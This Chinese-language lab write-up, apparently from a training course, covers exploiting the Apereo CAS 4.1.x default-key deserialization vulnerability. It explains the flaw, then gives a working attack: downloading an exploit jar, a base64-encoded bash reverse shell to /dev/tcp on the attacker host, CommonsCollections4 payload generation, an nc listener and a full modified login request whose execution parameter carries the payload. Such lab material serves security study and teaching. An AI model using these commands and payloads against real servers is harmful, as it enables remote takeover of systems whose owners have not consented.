
!quote 参考文章 https://app.nextcyber.cn/courses/46/tasks/589
Apereo CAS是一款Apereo发布的集中认证服务平台,常被用于企业内部单点登录系统。其4.1.7版本之前存在一处默认密钥的问题,利用这个默认密钥我们可以构造恶意信息触发目标反序列化漏洞,进而执行任意命令。
该漏洞存在于Apereo CAS 4.1.7版本及之前的所有4.1.x版本中,核心触发条件有两个:
changeit等),用于对登录过程中的会话数据、票据(Ticket)等信息进行序列化和加密处理。若管理员部署后未及时修改该默认密钥,攻击者可直接利用已知密钥构造恶意数据。execution参数、会话 Cookie 等)时,未对数据的合法性、完整性进行严格校验,也未限制反序列化过程中可调用的类,导致攻击者构造的恶意序列化数据被成功解析后,触发 “反序列化漏洞”,进而执行任意命令。Apereo CAS 4.1.x 版本的登录流程中,会将用户的登录状态、请求上下文等信息通过 Java 序列化机制转换为二进制数据,并用默认密钥加密后存储在execution参数或会话 Cookie 中,后续请求时再解密并反序列化为对象进行处理。由于默认密钥未被修改且反序列化过程缺乏安全校验,攻击者可利用以下逻辑发起攻击:
execution参数(或其他存储序列化数据的字段);execution参数中的数据,再通过 Java 反序列化机制将其还原为对象;简单来说,漏洞的本质是 “默认密钥泄露 + 不安全的反序列化处理”,两者结合导致攻击者可绕过安全限制,直接在目标服务器上执行命令。
flowchart LR
A[攻击者] -->|1、获取默认密钥| B(已知Apereo CAS 4.1.x默认密钥)
A -->|2、构造恶意数据| C[利用Commons Collections库<br>生成含命令执行逻辑的序列化数据]
C --> D[将恶意数据加密(默认密钥)]
A -->|3、发起攻击请求| E[拦截登录HTTP请求<br>替换execution参数为恶意数据]
F[目标Apereo CAS服务器] -->|4、接收请求| G[用默认密钥解密execution参数]
G --> H[对解密后的数据执行Java反序列化]
H --> I[反序列化触发恶意逻辑]
I --> J[执行任意命令(如反弹Shell)]
J --> K[攻击者获取服务器控制权]攻击机IP
10.132.1.111
靶机IP
10.22.97.171!NOTE 下载本次使用的EXP 本次Java的版本为
1.8:wget https://github.com/vulhub/Apereo-CAS-Attack/releases/download/v1.0.0/apereo-cas-attack-1.0-SNAPSHOT-all.jar
访问路径
http://10.22.97.171:8080/cas/login!NOTE 界面显示如下
bash -i >& /dev/tcp/10.132.1.111/1234 0>&1
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMzIuMS4xMTEvMTIzNCAwPiYx
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMzIuMS4xMTEvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}
java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMzIuMS4xMTEvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}"!success 生成数据截图
nc -lvnp 1234抓包,先执行登录操作,抓取数据包:

改包后的HTTP请求如下:
POST /cas/login HTTP/1.1
Host: 10.22.97.171:8080
Content-Length: 2405
Cache-Control: max-age=0
Origin: http://10.22.97.171:8080
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.22.97.171:8080/cas/login
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=EC9B87CEBDE54514851D33B4FA25F3D6
Connection: keep-alive
username=admin&password=123<=LT-3-JpYtiqjIrY7mdxLoWZftwVlrTw5GYp-cas01.example.org&execution=dd095b97-7328-4ff5-8fae-44ea644dfb54_AAAAIgAAABAC7Ud3%2Fb3tAmPcwAmzxrj7AAAABmFlczEyOBaFkBOzBUc7zMLJPi4CmgsuyZu5SxXCeNQ1NoGVoR7mL4KZtjlvtazx2yPdXHkI7oxLHqrhbm7sL0KCXummhVEHGakSkj2%2BtwNzLIJeVNSuhNC0fMeyuLXEq%2FuI9IUNMumpCcqb2dEV3wmOd8D%2Fz7LJYw6VLeG1v%2B6f5M7Yo9Wm4b0r32y4rdR1In13orVc8OObZhjxJwqwJTzU7Z1q5HYZReJkMw1QdstnPqn2WSqcP%2FzXuWw2zH3q9ok92MBY3kXaVruyFltFpi%2Fihj3%2F%2BKJQNmxOIPGRnPXRj8dKikUHHoS27xxY4%2BhcrmiKqUN2oIhWTiQolICP0S9DtPW9kRfIhpZWKmOKhMbPWsdSGPYyTob3tly6B9s07jlhkxbU0lAnutdUYdi7HlcC6%2FnkrOpWcebCHT2Ap5P%2BEV6n9wZR%2BuqYflOJV%2FVo92oJrvANOWfkP7HN28SS%2BXGhSBWQRDQNGGrNYlkeZaHKofzLkWaOYNXluYfHR8MOviyqlnOoxe2OqtdxrLdFCs1j3fn%2FpeEbpwwIyHxvEPh8upXP%2F3tfyTM1ZBwLN40hSl%2BwVNOUyxwzcFNEAZXuBYQRoTF59FV9f0QdjUBKmLXX5hftN1APuuk9754C4UuBxYX%2FMOFq7QFXS3oqJk2KimRXU1ppJWCcfnGxEifvxKhAJN%2FQPUTtWZNtqwNxrB7o3HLMYLeSUDKhItBkFqQdOrf9bexjeYY70Dz89jntst4Znb3TY2Nz%2F3FW3L6UdNDmGxkUmcpg6DtiAobkdxjUU9dPHbBEerrsuWziJ0W3%2FkdhtF5gs9kK0FnYaucG8816O79vQKqbusDtoHf%2Bli2b44lIXJFMkxf%2B72CI4wLMzLasDImY%2BqTwOPaMqEUgyabqD0Buax%2BSES%2Bt0D7Kl%2FXdE%2BYxcE%2FsECQLDnERAR0NQd5HSa%2FxwHlljrU9JEj1bthArGMtj1qKn0pMWRk3deiMayfnT1AmsRATrhmYe3ypaKdl28H9OKNzxK1uxAyozQw%2B6%2FtdoTTklqCi1w1bTjYjU%2F8fOcmwPfcHsVEwHP%2BDiI%2F4%2BBLXoRv1jOmueYMPPMnj8oSQyLPp%2BGkKXP1KfNfhOLfsYzEXD85cqcUlWZvp4zGiupbURxDExrctSPAtNY5UskCXgrS7AT6M26gFhnt16HIvGdxkrJr6R7kd%2FEZ8RuaCdxfibB3uEVfaac6M9uHTQWUeXeN48vE1qUpu%2BDOK%2BHM9f9xzYTEBkvE4ZvLMWVyQsVuSSoEpM22%2BYtH0gulDtH2ilv%2FXDRuWjS%2F3neiHMD4mNHT0H%2BsKGuoqaHUsJwzTokClLPSWbiDn8epYWbDRCB9MWNMH9lGb0aOpwSvIN%2BENp8lhNAWnHKmagZTsHeIxlIOv9S5gl%2BSnMn5k8pRAChxrsYR6yfaUqFgsdJb%2BasrJBGm3ghJZ8x%2FEivG01XZXaodiXNBGRrQ0s%2Bm2VEMj2oS9fhQ8cKmU4no%2FIXYTkeSBsVYjAs0iNVvxWbTbO3P27p2F585cw2jYYaWxepg7ZRHCrb9I%2B6wsKh3qimlsS%2BCxq4SHn%2F2pU0mQuAMYXB1ltHVyFVGmZnk2prnJf5gHCsQnrtRgYpWvTtSxrnGYbgH%2BT6tU%2FssGueYP0w5J4huJ2dMkCLjxaoSg70y6a7bNKBB96FIJ6nWIwA8Oi2aURvrHpWoqVAE4L4Wsv9UnT0su4kc5uk0O0bCxjyzkG34ZrAI9a3v7K9iPHnDeLRDAkOinZTlL7IbOC8hlHX8iDbYqovQZqgZlHegiyl6tQzJYdepiKJBdck8IciBACfgHMahbL8Kb8UT4HAL8fldN534FUohKjqLYHg5xUI8KMyaiC41aOJwaZsWwFHKgvpwrimEogkonwWHtC0UMlJMxvHgwgkYtCsCN992k0kqBA83t2RO4aWdlxM9Bz3s9yJypPcJr7kbpp3jU3Riiq8s38w4BQXF7y6ZQpyf2MZbMXeVNQZ7LipUUOmL1d2uyqjoxdDy%2FGqNXIMkT%2Ffw5BRZf3d6XK%2Bwipc0VzPuhzZBetQfhdaxNqXp%2Bz9c%2Ftb9%2B7VQ0GyCNj0ydfr4%3D
&_eventId=submit&submit=LOGIN执行后成功获得反弹Shell

!success 执行结果 虽然执行后的返回值为500,但其实已经拿到反弹Shell
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。